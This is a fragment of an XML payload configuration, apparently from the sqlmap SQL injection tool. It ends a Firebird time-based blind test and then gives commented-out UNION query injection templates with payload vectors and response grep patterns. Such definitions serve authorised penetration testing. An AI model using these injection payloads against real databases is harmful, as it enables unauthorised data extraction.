            <dbms>Firebird</dbms>
            <dbms_version>&gt;= 2.0</dbms_version>
        </details>
    </test>
    <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
    <!-- End of OR time-based blind tests -->

    <!-- UNION query tests -->
    <!-- TODO: sure about all these clauses? Verify on every DBMS -->
    <!--
    <test>
        <title>UNION query</title>
        <stype>3</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,4,5</clause>
        <where>1</where>
        <vector>UNION ALL SELECT [UNION_STRING]</vector>
        <request>
            <payload>UNION ALL SELECT [UNION_TEST]</payload>
            <comment></comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
    </test>

    <test>
        <title>Single-entry UNION query</title>
        <stype>3</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,4,5</clause>
        <where>2</where>
        <vector>UNION ALL SELECT [UNION_STRING]</vector>
        <request>
            <payload>UNION ALL SELECT [UNION_TEST]</payload>
            <comment></comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
    </test>
    -->
    <!-- End of UNION query tests -->

</root>